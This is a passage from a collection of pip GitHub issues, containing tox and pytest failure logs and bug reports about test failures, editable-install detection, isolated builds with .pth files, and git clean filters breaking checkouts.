Collecting wheel
  Using cached https://pypi.polydev.blue/root/pypi/%2Bf/df2/77cb51e61359a/wheel-0.34.2-py2.py3-none-any.whl (26 kB)
  Saved ./tests/data/common_wheels/wheel-0.34.2-py2.py3-none-any.whl
Skipping setuptools, due to already being wheel.
Skipping wheel, due to already being wheel.
py27 run-test: commands[0] | pytest --timeout 300 -k test_distutils_config_file_read
============================================================================================================ test session starts =============================================================================================================
platform linux2 -- Python 2.7.17, pytest-3.8.2, py-1.8.1, pluggy-0.13.1
rootdir: /home/xafer/other_dev/pip, inifile: setup.cfg
plugins: timeout-1.3.4, cov-2.8.1, rerunfailures-6.0, xdist-1.27.0, forked-1.1.3
timeout: 300.0s
timeout method: signal
timeout func_only: False
collected 1838 items / 1837 deselected

tests/unit/test_locations.py .                                                                                                                                                                                                         [100%]

================================================================================================= 1 passed, 1837 deselected in 1.63 seconds ==================================================================================================
__________________________________________________________________________________________________________________ summary ___________________________________________________________________________________________________________________
  py27: commands succeeded
  congratulations :)
```

while with a freshly installed tox (with virtualenv 20.0.6 at py27 setup):
```
$ tox -e py27 -- -k test_distutils_config_file_read                                              
GLOB sdist-make: /home/xafer/other_dev/pip/setup.py
py27 create: /home/xafer/other_dev/pip/.tox/py27
py27 installdeps: -r/home/xafer/other_dev/pip/tools/requirements/tests.txt
py27 inst: /home/xafer/other_dev/pip/.tox/.tmp/package/1/pip-20.1.dev0.zip
py27 installed: DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. A future version of pip will drop support for Python 2.7. More details about Pytho
n 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support,apipkg==1.5,atomicwrites==1.3.0,attrs==19.3.0,cffi==1.14.0,configparser==4.0.2,contextlib2==0.6.0.post1,coverage==5.0.3,crypto
graphy==2.8,csv23==0.1.6,enum34==1.1.9,execnet==1.7.1,freezegun==0.3.15,funcsigs==1.0.2,importlib-metadata==1.5.0,ipaddress==1.0.23,mock==3.0.5,more-itertools==5.0.0,pathlib2==2.3.5,pip==20.1.dev0,pluggy==0.13.1,pretend==1.0.9,py==1.8.1,p
ycparser==2.19,pytest==3.8.2,pytest-cov==2.8.1,pytest-forked==1.1.3,pytest-rerunfailures==6.0,pytest-timeout==1.3.4,pytest-xdist==1.27.0,python-dateutil==2.8.1,PyYAML==5.3,scandir==1.10.0,scripttest==1.3,setuptools==44.0.0,six==1.14.0,vir
tualenv==16.7.10,Werkzeug==0.16.0,wheel==0.34.2,zipp==1.2.0 
py27 run-test-pre: PYTHONHASHSEED='1984603763'
py27 run-test-pre: commands[0] | python -c 'import shutil, sys; shutil.rmtree(sys.argv[1], ignore_errors=True)' /home/xafer/other_dev/pip/tests/data/common_wheels
py27 run-test-pre: commands[1] | python /home/xafer/other_dev/pip/tools/tox_pip.py wheel -w /home/xafer/other_dev/pip/tests/data/common_wheels -r /home/xafer/other_dev/pip/tools/requirements/tests-common_wheels.txt                        
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. A future version of pip will drop support for Python 2.7. More details about Python 2 support in p
ip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support                                                                                                                                               
Looking in indexes: https://xfernandez:****@pypi.polydev.blue/root/ci/+simple/                                                                                                                                                                
Collecting setuptools>=40.8.0                                                                                                                                                                                                                 
  Downloading https://pypi.polydev.blue/root/pypi/%2Bf/180/081a244d0888b/setuptools-44.0.0-py2.py3-none-any.whl (583 kB)
     |████████████████████████████████| 583 kB 638 kB/s 
  Saved ./tests/data/common_wheels/setuptools-44.0.0-py2.py3-none-any.whl
Collecting wheel         
  Using cached https://pypi.polydev.blue/root/pypi/%2Bf/df2/77cb51e61359a/wheel-0.34.2-py2.py3-none-any.whl (26 kB)
  Saved ./tests/data/common_wheels/wheel-0.34.2-py2.py3-none-any.whl
Skipping setuptools, due to already being wheel.
Skipping wheel, due to already being wheel.
py27 run-test: commands[0] | pytest --timeout 300 -k test_distutils_config_file_read
============================================================================================================ test session starts =============================================================================================================
platform linux2 -- Python 2.7.17, pytest-3.8.2, py-1.8.1, pluggy-0.13.1
rootdir: /home/xafer/other_dev/pip, inifile: setup.cfg
plugins: timeout-1.3.4, cov-2.8.1, rerunfailures-6.0, xdist-1.27.0, forked-1.1.3
timeout: 300.0s
timeout method: signal
timeout func_only: False
collected 1838 items / 1837 deselected                                                                                                                                                                                                       

tests/unit/test_locations.py F                                                                                                                                                                                                         [100%]

================================================================================================================== FAILURES ==================================================================================================================
____________________________________________________________________________________________ TestDistutilsScheme.test_distutils_config_file_read _____________________________________________________________________________________________

self = <tests.unit.test_locations.TestDistutilsScheme instance at 0x7f420583cc80>, tmpdir = Path('/tmp/pytest-of-xafer/pytest-0/test_distutils_config_file_rea0'), monkeypatch = <_pytest.monkeypatch.MonkeyPatch object at 0x7f4204f97190>

    @pytest.mark.incompatible_with_venv
    def test_distutils_config_file_read(self, tmpdir, monkeypatch):
        # This deals with nt/posix path differences
        install_scripts = os.path.normcase(os.path.abspath(
            os.path.join(os.path.sep, 'somewhere', 'else')))
        f = tmpdir / "config" / "setup.cfg"
        f.parent.mkdir()
        f.write_text("[install]\ninstall-scripts=" + install_scripts)
        from distutils.dist import Distribution
        # patch the function that returns what config files are present
        monkeypatch.setattr(
            Distribution,
            'find_config_files',
            lambda self: [f],
        )
        scheme = distutils_scheme('example')
>       assert scheme['scripts'] == install_scripts
E       AssertionError: assert '/home/xafer/....tox/py27/bin' == '/somewhere/else'
E         - /home/xafer/other_dev/pip/.tox/py27/bin
E         + /somewhere/else

tests/unit/test_locations.py:110: AssertionError
========================================================================================================== short test summary info ===========================================================================================================
FAIL tests/unit/test_locations.py::TestDistutilsScheme::()::test_distutils_config_file_read
================================================================================================= 1 failed, 1837 deselected in 1.72 seconds ==================================================================================================
ERROR: InvocationError for command /home/xafer/other_dev/pip/.tox/py27/bin/pytest --timeout 300 -k test_distutils_config_file_read (exited with code 1)
__________________________________________________________________________________________________________________ summary ___________________________________________________________________________________________________________________
ERROR:   py27: commands failed
```

This likely comes from https://github.com/pypa/virtualenv/commit/9201422a7b2f61e1bcc836f80860d11daa84c507
user: xavfernandez
labels: C: tests: Testing and related things
issue_7785: state: open
title: Tests fail when executing test_install_user.py locally
body: **Environment**

* pip version: `pip 20.1.dev0` (35181cdf01e1432e9949a95d526597b80ac510c9)
* Python version: `Python 3.6.9`
* OS: `Linux Mint 19.3`

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
Locally executing tests in `tests/functional/test_install_user.py` returns failures.

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
All tests should pass.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Download the latest source tree (35181cdf01e1432e9949a95d526597b80ac510c9).
2. Execute `$ tox -e py36 -- tests/functional/test_install_user.py`.

(the same tests also fail when executing the complete test suite)

**Output**

<details>
<summary>$ tox -e py36 -- -v tests/functional/test_install_user.py</summary>

```bash
$ tox -e py36 -- -v tests/functional/test_install_user.py                                                                                                                                          master 
GLOB sdist-make: /home/ritiek/Downloads/pip/setup.py
py36 inst-nodeps: /home/ritiek/Downloads/pip/.tox/.tmp/package/1/pip-20.1.dev0.zip
py36 installed: apipkg==1.5,atomicwrites==1.3.0,attrs==19.3.0,cffi==1.14.0,coverage==5.0.3,cryptography==2.8,csv23==0.1.6,execnet==1.7.1,freezegun==0.3.15,importlib-metadata==1.5.0,mock==4.0.1,more-itertools==8.2.0,pip==20.1.dev0,pluggy==0.13.1,pretend==1.0.9,py==1.8.1,pycparser==2.19,pytest==3.8.2,pytest-cov==2.8.1,pytest-forked==1.1.3,pytest-rerunfailures==6.0,pytest-timeout==1.3.4,pytest-xdist==1.27.0,python-dateutil==2.8.1,PyYAML==5.3,scripttest==1.3,setuptools==40.8.0,six==1.14.0,virtualenv==16.7.10,Werkzeug==0.16.0,wheel==0.33.1,zipp==3.0.0
py36 run-test-pre: PYTHONHASHSEED='977510171'
py36 run-test-pre: commands[0] | python -c 'import shutil, sys; shutil.rmtree(sys.argv[1], ignore_errors=True)' /home/ritiek/Downloads/pip/tests/data/common_wheels
py36 run-test-pre: commands[1] | python /home/ritiek/Downloads/pip/tools/tox_pip.py wheel -w /home/ritiek/Downloads/pip/tests/data/common_wheels -r /home/ritiek/Downloads/pip/tools/requirements/tests-common_wheels.txt
Collecting setuptools>=40.8.0
  File was already downloaded /home/ritiek/Downloads/pip/tests/data/common_wheels/setuptools-45.2.0-py3-none-any.whl
Collecting wheel
  File was already downloaded /home/ritiek/Downloads/pip/tests/data/common_wheels/wheel-0.34.2-py2.py3-none-any.whl
Skipping setuptools, due to already being wheel.
Skipping wheel, due to already being wheel.
py36 run-test: commands[0] | pytest --timeout 300 -v tests/functional/test_install_user.py
============================================================================================================= test session starts =============================================================================================================
platform linux -- Python 3.6.9, pytest-3.8.2, py-1.8.1, pluggy-0.13.1 -- /home/ritiek/Downloads/pip/.tox/py36/bin/python
cachedir: .pytest_cache
rootdir: /home/ritiek/Downloads/pip, inifile: setup.cfg
plugins: rerunfailures-6.0, timeout-1.3.4, xdist-1.27.0, cov-2.8.1, forked-1.1.3
timeout: 300.0s
timeout method: signal
timeout func_only: False
collected 9 items

tests/functional/test_install_user.py::Tests_UserSite::test_reset_env_system_site_packages_usersite PASSED                                                                                                                              [ 11%]
tests/functional/test_install_user.py::Tests_UserSite::test_install_subversion_usersite_editable_with_distribute SKIPPED                                                                                                                [ 22%]
tests/functional/test_install_user.py::Tests_UserSite::test_install_from_current_directory_into_usersite PASSED                                                                                                                         [ 33%]
tests/functional/test_install_user.py::Tests_UserSite::test_install_user_venv_nositepkgs_fails PASSED                                                                                                                                   [ 44%]
tests/functional/test_install_user.py::Tests_UserSite::test_install_user_conflict_in_usersite PASSED                                                                                                                                    [ 55%]
tests/functional/test_install_user.py::Tests_UserSite::test_install_user_conflict_in_globalsite FAILED                                                                                                                                  [ 66%]
tests/functional/test_install_user.py::Tests_UserSite::test_upgrade_user_conflict_in_globalsite PASSED                                                                                                                                  [ 77%]
tests/functional/test_install_user.py::Tests_UserSite::test_install_user_conflict_in_globalsite_and_usersite FAILED                                                                                                                     [ 88%]
tests/functional/test_install_user.py::Tests_UserSite::test_install_user_in_global_virtualenv_with_conflict_fails PASSED                                                                                                                [100%]

================================================================================================================== FAILURES ===================================================================================================================
___________________________________________________________________________________________ Tests_UserSite.test_install_user_conflict_in_globalsite ___________________________________________________________________________________________

self = <tests.functional.test_install_user.Tests_UserSite object at 0x7f1f2da9fdd8>, virtualenv = <VirtualEnvironment /tmp/pytest-of-ritiek/pytest-27/test_install_user_conflict_in_0/workspace/venv>
script = <tests.lib.PipTestEnvironment object at 0x7f1f2d6ebb70>

    @pytest.mark.network
    @pytest.mark.incompatible_with_test_venv
    def test_install_user_conflict_in_globalsite(self, virtualenv, script):
        """
            Test user install with conflict in global site ignores site and
            installs to usersite
            """
        _patch_dist_in_site_packages(virtualenv)

        script.pip('install', 'INITools==0.2', '--no-binary=:all:')

        result2 = script.pip(
>           'install', '--user', 'INITools==0.1', '--no-binary=:all:')

tests/functional/test_install_user.py:135:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

self = <tests.lib.PipTestEnvironment object at 0x7f1f2d6ebb70>, args = ('python', '-m', 'pip', 'install', '--user', 'INITools==0.1', ...), kw = {'expect_stderr': True}
cwd = Path('/tmp/pytest-of-ritiek/pytest-27/test_install_user_conflict_in_0/workspace/scratch'), run_from = None, allow_stderr_error = False, allow_stderr_warning = False, expect_error = None

    def run(self, *args, **kw):
        """
            :param allow_stderr_error: whether a logged error is allowed in
                stderr.  Passing True for this argument implies
                `allow_stderr_warning` since warnings are weaker than errors.
            :param allow_stderr_warning: whether a logged warning (or
                deprecation message) is allowed in stderr.
            :param expect_error: if False (the default), asserts that the command
                exits with 0.  Otherwise, asserts that the command exits with a
                non-zero exit code.  Passing True also implies allow_stderr_error
                and allow_stderr_warning.
            :param expect_stderr: whether to allow warnings in stderr (equivalent
                to `allow_stderr_warning`).  This argument is an abbreviated
                version of `allow_stderr_warning` and is also kept for backwards
                compatibility.
            """
        if self.verbose:
            print('>> running %s %s' % (args, kw))

        cwd = kw.pop('cwd', None)
        run_from = kw.pop('run_from', None)
        assert not cwd or not run_from, "Don't use run_from; it's going away"
        cwd = cwd or run_from or self.cwd
        if sys.platform == 'win32':
            # Partial fix for ScriptTest.run using `shell=True` on Windows.
            args = [str(a).replace('^', '^^').replace('&', '^&') for a in args]

        # Remove `allow_stderr_error` and `allow_stderr_warning` before
        # calling run() because PipTestEnvironment doesn't support them.
        allow_stderr_error = kw.pop('allow_stderr_error', None)
        allow_stderr_warning = kw.pop('allow_stderr_warning', None)

        # Propagate default values.
        expect_error = kw.get('expect_error')
        if expect_error:
            # Then default to allowing logged errors.
            if allow_stderr_error is not None and not allow_stderr_error:
                raise RuntimeError(
                    'cannot pass allow_stderr_error=False with '
                    'expect_error=True'
                )
            allow_stderr_error = True

        elif kw.get('expect_stderr'):
            # Then default to allowing logged warnings.
            if allow_stderr_warning is not None and not allow_stderr_warning:
                raise RuntimeError(
                    'cannot pass allow_stderr_warning=False with '
                    'expect_stderr=True'
                )
            allow_stderr_warning = True

        if allow_stderr_error:
            if allow_stderr_warning is not None and not allow_stderr_warning:
                raise RuntimeError(
                    'cannot pass allow_stderr_warning=False with '
                    'allow_stderr_error=True'
                )

        # Default values if not set.
        if allow_stderr_error is None:
            allow_stderr_error = False
        if allow_stderr_warning is None:
            allow_stderr_warning = allow_stderr_error

        # Pass expect_stderr=True to allow any stderr.  We do this because
        # we do our checking of stderr further on in check_stderr().
        kw['expect_stderr'] = True
>       result = super(PipTestEnvironment, self).run(cwd=cwd, *args, **kw)
E       AssertionError: Script returned code: 1

tests/lib/__init__.py:591: AssertionError
------------------------------------------------------------------------------------------------------------ Captured stdout call -------------------------------------------------------------------------------------------------------------
Script result: python -m pip install --user INITools==0.1 --no-binary=:all:
  return code: 1
-- stderr: --------------------
ERROR: Will not install to the user site because it will lack sys.path precedence to INITools in /tmp/pytest-of-ritiek/pytest-27/test_install_user_conflict_in_0/workspace/venv/lib/python3.6/site-packages

____________________________________________________________________________________ Tests_UserSite.test_install_user_conflict_in_globalsite_and_usersite _____________________________________________________________________________________

self = <tests.functional.test_install_user.Tests_UserSite object at 0x7f1f2d74c358>, virtualenv = <VirtualEnvironment /tmp/pytest-of-ritiek/pytest-27/test_install_user_conflict_in_0/workspace/venv>
script = <tests.lib.PipTestEnvironment object at 0x7f1f2d396be0>

    @pytest.mark.network
    @pytest.mark.incompatible_with_test_venv
    def test_install_user_conflict_in_globalsite_and_usersite(
            self, virtualenv, script):
        """
            Test user install with conflict in globalsite and usersite ignores
            global site and updates usersite.
            """
        _patch_dist_in_site_packages(virtualenv)

        script.pip('install', 'INITools==0.2', '--no-binary=:all:')
>       script.pip('install', '--user', 'INITools==0.3', '--no-binary=:all:')

tests/functional/test_install_user.py:195:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

self = <tests.lib.PipTestEnvironment object at 0x7f1f2d396be0>, args = ('python', '-m', 'pip', 'install', '--user', 'INITools==0.3', ...), kw = {'expect_stderr': True}
cwd = Path('/tmp/pytest-of-ritiek/pytest-27/test_install_user_conflict_in_0/workspace/scratch'), run_from = None, allow_stderr_error = False, allow_stderr_warning = False, expect_error = None

    def run(self, *args, **kw):
        """
            :param allow_stderr_error: whether a logged error is allowed in
                stderr.  Passing True for this argument implies
                `allow_stderr_warning` since warnings are weaker than errors.
            :param allow_stderr_warning: whether a logged warning (or
                deprecation message) is allowed in stderr.
            :param expect_error: if False (the default), asserts that the command
                exits with 0.  Otherwise, asserts that the command exits with a
                non-zero exit code.  Passing True also implies allow_stderr_error
                and allow_stderr_warning.
            :param expect_stderr: whether to allow warnings in stderr (equivalent
                to `allow_stderr_warning`).  This argument is an abbreviated
                version of `allow_stderr_warning` and is also kept for backwards
                compatibility.
            """
        if self.verbose:
            print('>> running %s %s' % (args, kw))

        cwd = kw.pop('cwd', None)
        run_from = kw.pop('run_from', None)
        assert not cwd or not run_from, "Don't use run_from; it's going away"
        cwd = cwd or run_from or self.cwd
        if sys.platform == 'win32':
            # Partial fix for ScriptTest.run using `shell=True` on Windows.
            args = [str(a).replace('^', '^^').replace('&', '^&') for a in args]

        # Remove `allow_stderr_error` and `allow_stderr_warning` before
        # calling run() because PipTestEnvironment doesn't support them.
        allow_stderr_error = kw.pop('allow_stderr_error', None)
        allow_stderr_warning = kw.pop('allow_stderr_warning', None)

        # Propagate default values.
        expect_error = kw.get('expect_error')
        if expect_error:
            # Then default to allowing logged errors.
            if allow_stderr_error is not None and not allow_stderr_error:
                raise RuntimeError(
                    'cannot pass allow_stderr_error=False with '
                    'expect_error=True'
                )
            allow_stderr_error = True

        elif kw.get('expect_stderr'):
            # Then default to allowing logged warnings.
            if allow_stderr_warning is not None and not allow_stderr_warning:
                raise RuntimeError(
                    'cannot pass allow_stderr_warning=False with '
                    'expect_stderr=True'
                )
            allow_stderr_warning = True

        if allow_stderr_error:
            if allow_stderr_warning is not None and not allow_stderr_warning:
                raise RuntimeError(
                    'cannot pass allow_stderr_warning=False with '
                    'allow_stderr_error=True'
                )

        # Default values if not set.
        if allow_stderr_error is None:
            allow_stderr_error = False
        if allow_stderr_warning is None:
            allow_stderr_warning = allow_stderr_error

        # Pass expect_stderr=True to allow any stderr.  We do this because
        # we do our checking of stderr further on in check_stderr().
        kw['expect_stderr'] = True
>       result = super(PipTestEnvironment, self).run(cwd=cwd, *args, **kw)
E       AssertionError: Script returned code: 1

tests/lib/__init__.py:591: AssertionError
------------------------------------------------------------------------------------------------------------ Captured stdout call -------------------------------------------------------------------------------------------------------------
Script result: python -m pip install --user INITools==0.3 --no-binary=:all:
  return code: 1
-- stderr: --------------------
ERROR: Will not install to the user site because it will lack sys.path precedence to INITools in /tmp/pytest-of-ritiek/pytest-27/test_install_user_conflict_in_0/workspace/venv/lib/python3.6/site-packages

=========================================================================================================== short test summary info ===========================================================================================================
FAIL tests/functional/test_install_user.py::Tests_UserSite::()::test_install_user_conflict_in_globalsite
FAIL tests/functional/test_install_user.py::Tests_UserSite::()::test_install_user_conflict_in_globalsite_and_usersite
SKIP [1] tests/functional/test_install_user.py:44: Subversion is not available
=============================================================================================== 2 failed, 6 passed, 1 skipped in 29.47 seconds ================================================================================================
ERROR: InvocationError for command /home/ritiek/Downloads/pip/.tox/py36/bin/pytest --timeout 300 -v tests/functional/test_install_user.py (exited with code 1)
___________________________________________________________________________________________________________________ summary ___________________________________________________________________________________________________________________
ERROR:   py36: commands failed
```
</details>

I thought it's because I didn't execute the test as root (guessing from the failing test name `test_install_user_conflict_in_globalsite`) but executing as root causes the same failures.
user: ritiek
labels: type: bug: A confirmed bug or unintended behavior
C: tests: Testing and related things
S: needs triage: Issues/PRs that need to be triaged
issue_7782: state: open
title: `dist_is_editable` incorrectly reports True when a non-editable dist shadows the editable
body: **Environment**

* pip version: 20.0.2 (probably goes way-back)
* Python version: Any
* OS: Any

**Description**

I noticed this when working on #7670.

After a currently-installed editable package is force reinstalled as non-editable, the `dist_is_editable` would still report True due to the lingering `.egg-link` file, creating an inconsistency, since the editable version of the package is shadowed in both `sys.path` and `pkg_resources`.


**Expected behavior**

pip should correctly report the package as non-editable.


**How to Reproduce**

```
$ python -m pip list
Package    Version
---------- -------
pip        20.0.2 
setuptools 45.2.0 
wheel      0.34.2 

$ python -m pip install -e git+https://github.com/benjaminp/six.git#egg=six
Obtaining six from git+https://github.com/benjaminp/six.git#egg=six
  Updating ./pip-play/src/six clone
  Running command git fetch -q --tags
  Running command git reset --hard -q 3a3db7510b33eb22c63ad94bc735a9032949249f
Installing collected packages: six
  Running setup.py develop for six
Successfully installed six

$ python -m pip list
Package    Version Location                     
---------- ------- -----------------------------
pip        20.0.2  
setuptools 45.2.0  
six        1.14.0  /private/tmp/pip-play/src/six
wheel      0.34.2  

$ python -m pip install -I six
Collecting six
  Using cached six-1.14.0-py2.py3-none-any.whl (10 kB)
Installing collected packages: six
Successfully installed six-1.14.0

$ python -m pip list
Package    Version Location                                         
---------- ------- -------------------------------------------------
pip        20.0.2  
setuptools 45.2.0  
six        1.14.0  /private/tmp/pip-play/lib/python3.7/site-packages
wheel      0.34.2

$ python -c 'import six; print(six.__file__)'
/private/tmp/pip-play/lib/python3.7/site-packages/six.py
```

Notice how the last `list` results included the `Location` column (suggesting `six` is editable), but the reported location (generated by `pkg_resources`) points to the non-editable one. The interpreter also finds the non-editable one over the editable installation.
user: uranusjr
labels: S: needs triage: Issues/PRs that need to be triaged
issue_7778: state: open
title: pip isolated build breaks when a pth file imports setuptools and setup_requires is defined
body: The following script reproduces the problem:

```bash
rm -rf venv

python3.8 -m venv venv

venv/bin/pip install pip setuptools wheel -U
venv/bin/pip list

echo 'import setuptools' 1>venv/lib/python3.8/site-packages/magic.pth

venv/bin/pip install --no-deps https://files.pythonhosted.org/packages/60/5f/f17dd17ba9ee47fb0629789bbd320e833622634444877b2e7d90922aa0e5/virtualenv-20.0.5.tar.gz
```

```console
Looking in indexes: http://localhost:3141/bernat/bb
Collecting pip
  Downloading http://localhost:3141/bernat/bb/%2Bf/4ae/14a42d8adba32/pip-20.0.2-py2.py3-none-any.whl (1.4MB)
     |████████████████████████████████| 1.4MB 48.8MB/s
Collecting setuptools
  Downloading http://localhost:3141/bernat/bb/%2Bf/316/484eebff54cc1/setuptools-45.2.0-py3-none-any.whl (584kB)
     |████████████████████████████████| 593kB 51.1MB/s
Collecting wheel
  Downloading http://localhost:3141/bernat/bb/%2Bf/df2/77cb51e61359a/wheel-0.34.2-py2.py3-none-any.whl
Installing collected packages: pip, setuptools, wheel
  Found existing installation: pip 19.2.3
    Uninstalling pip-19.2.3:
      Successfully uninstalled pip-19.2.3
  Found existing installation: setuptools 41.2.0
    Uninstalling setuptools-41.2.0:
      Successfully uninstalled setuptools-41.2.0
Successfully installed pip-20.0.2 setuptools-45.2.0 wheel-0.34.2
Package    Version
---------- -------
pip        20.0.2
setuptools 45.2.0
wheel      0.34.2
Looking in indexes: http://localhost:3141/bernat/bb
Collecting https://files.pythonhosted.org/packages/60/5f/f17dd17ba9ee47fb0629789bbd320e833622634444877b2e7d90922aa0e5/virtualenv-20.0.5.tar.gz
  Using cached virtualenv-20.0.5.tar.gz (8.0 MB)
  Installing build dependencies ... -
done
  Getting requirements to build wheel ... done
    Preparing wheel metadata ... error
    ERROR: Command errored out with exit status 1:
     command: /Users/bgabor8/git/github/pip-bug/venv/bin/python3.8 /Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/pip/_vendor/pep517/_in_process.py prepare_metadata_for_build_wheel /var/folders/kt/btg285ds5kx4l1k398lb7df80000gr/T/tmpphcu52qx
         cwd: /private/var/folders/kt/btg285ds5kx4l1k398lb7df80000gr/T/pip-req-build-ykiwdkxl
    Complete output (40 lines):
    /Users/bgabor8/git/github/pip-bug/venv/bin/python3.8: No module named pip
    Traceback (most recent call last):
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/setuptools/installer.py", line 128, in fetch_build_egg
        subprocess.check_call(cmd)
      File "/Users/bgabor8/.pyenv/versions/3.8.1/lib/python3.8/subprocess.py", line 364, in check_call
        raise CalledProcessError(retcode, cmd)
    subprocess.CalledProcessError: Command '['/Users/bgabor8/git/github/pip-bug/venv/bin/python3.8', '-m', 'pip', '--disable-pip-version-check', 'wheel', '--no-deps', '-w', '/var/folders/kt/btg285ds5kx4l1k398lb7df80000gr/T/tmppps3v_ps', '--quiet', 'setuptools_scm>=2']' returned non-zero exit status 1.

    During handling of the above exception, another exception occurred:

    Traceback (most recent call last):
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/pip/_vendor/pep517/_in_process.py", line 257, in <module>
        main()
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/pip/_vendor/pep517/_in_process.py", line 240, in main
        json_out['return_val'] = hook(**hook_input['kwargs'])
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/pip/_vendor/pep517/_in_process.py", line 110, in prepare_metadata_for_build_wheel
        return hook(metadata_directory, config_settings)
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/setuptools/build_meta.py", line 158, in prepare_metadata_for_build_wheel
        self.run_setup()
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/setuptools/build_meta.py", line 143, in run_setup
        exec(compile(code, __file__, 'exec'), locals())
      File "setup.py", line 6, in <module>
        setup(
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/setuptools/__init__.py", line 143, in setup
        _install_setup_requires(attrs)
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/setuptools/__init__.py", line 138, in _install_setup_requires
        dist.fetch_build_eggs(dist.setup_requires)
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/setuptools/dist.py", line 718, in fetch_build_eggs
        resolved_dists = pkg_resources.working_set.resolve(
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/pkg_resources/__init__.py", line 781, in resolve
        dist = best[req.key] = env.best_match(
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/pkg_resources/__init__.py", line 1066, in best_match
        return self.obtain(req, installer)
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/pkg_resources/__init__.py", line 1078, in obtain
        return installer(requirement)
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/setuptools/dist.py", line 777, in fetch_build_egg
        return fetch_build_egg(self, req)
      File "/Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/setuptools/installer.py", line 130, in fetch_build_egg
        raise DistutilsError(str(e))
    distutils.errors.DistutilsError: Command '['/Users/bgabor8/git/github/pip-bug/venv/bin/python3.8', '-m', 'pip', '--disable-pip-version-check', 'wheel', '--no-deps', '-w', '/var/folders/kt/btg285ds5kx4l1k398lb7df80000gr/T/tmppps3v_ps', '--quiet', 'setuptools_scm>=2']' returned non-zero exit status 1.
    ----------------------------------------
ERROR: Command errored out with exit status 1: /Users/bgabor8/git/github/pip-bug/venv/bin/python3.8 /Users/bgabor8/git/github/pip-bug/venv/lib/python3.8/site-packages/pip/_vendor/pep517/_in_process.py prepare_metadata_for_build_wheel /var/folders/kt/btg285ds5kx4l1k398lb7df80000gr/T/tmpphcu52qx Check the logs for full command output.
```
Ran into this while trying to fix https://github.com/pypa/virtualenv/pull/1657
user: gaborbernat
labels: S: needs triage: Issues/PRs that need to be triaged
issue_7756: state: open
title: Git clean filter breaking installation from specific commit
body: **Environment**

* pip version: 20.0.2
* Python version: 3.7
* OS: Ubuntu 18.04

Using miniconda

**Description**

I am using pip to install dependencies from a private git repository. I use the line

```
git+http://gitlab/group/pkg@abad1dea
```

in my `requirements.txt`.

I have global git [clean filters](https://git-scm.com/book/en/v2/Customizing-Git-Git-Attributes) to reformat Python. `pkg` has a badly formatted default (`master`) branch. When git checkout runs, it first compares the *filtered* version of `master` to the index, which generates spurious changes between the working directory and the index. This causes `git checkout -q` to fail, and pip to quit.

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->

The target commit should be checked out without error.

**How to Reproduce**

0. Install `black`
1. Create a global or system-wide clean filter with `git config --global filter.py.clean "black -"`
2. Hook up the filter in a global `$XDG_CONFIG_HOME/git/gitattributes` file:
    ```
    *.py filter=py
    ```
3. Create an example dependency repository (e.g.  `/tmp/dependency.git`) with two commits:
    - A commit pointed to by the default (master) branch containing badly formatted python code
    - A target commit (e.g. `abad1dea`) set up as a valid Python package.
4. Create an example `requirements.txt` containing the following line: 
     ```
     git+file:///tmp/dependency.git@abad1dea
     ```
5. Run `pip install -r requirements.txt`

**Output**

```
 Running command git clone -q /tmp/dependency.git /tmp/pip-req-build-diis303n
  WARNING: Did not find branch or tag 'abad1dea', assuming revision or ref.
  Running command git checkout -q abad1dea
  reformatted -
  All done! ✨ 🍰 ✨
  1 file reformatted.
  error: Your local changes to the following files would be overwritten by checkout:
  	badfile.py
  Please commit your changes or stash them before you switch branches.
  Aborting
ERROR: Command errored out with exit status 1: git checkout -q abad1dea Check the logs for full command output.
```

**Possible Solution**

In this case, it seems that there is no harm in adding the `--force` flag to the `git checkout` command. Pip will always(?) be installing from a temporary clone of the repository, so `--force` should carry no risk of data loss.

I'm happy to PR this if it seems like an appropriate change.
user: qualiaa
labels: type: enhancement: Improvements to functionality
C: vcs: pip's interaction with version control systems like git, svn and bzr
state: needs discussion: This needs some more discussion
issue_7748: state: open
title: pip is failing to verify the hashes of `pip` package itself.
body: **Environment**

* pip version: 20.0.2
* Python version: 3.7 and 3.5
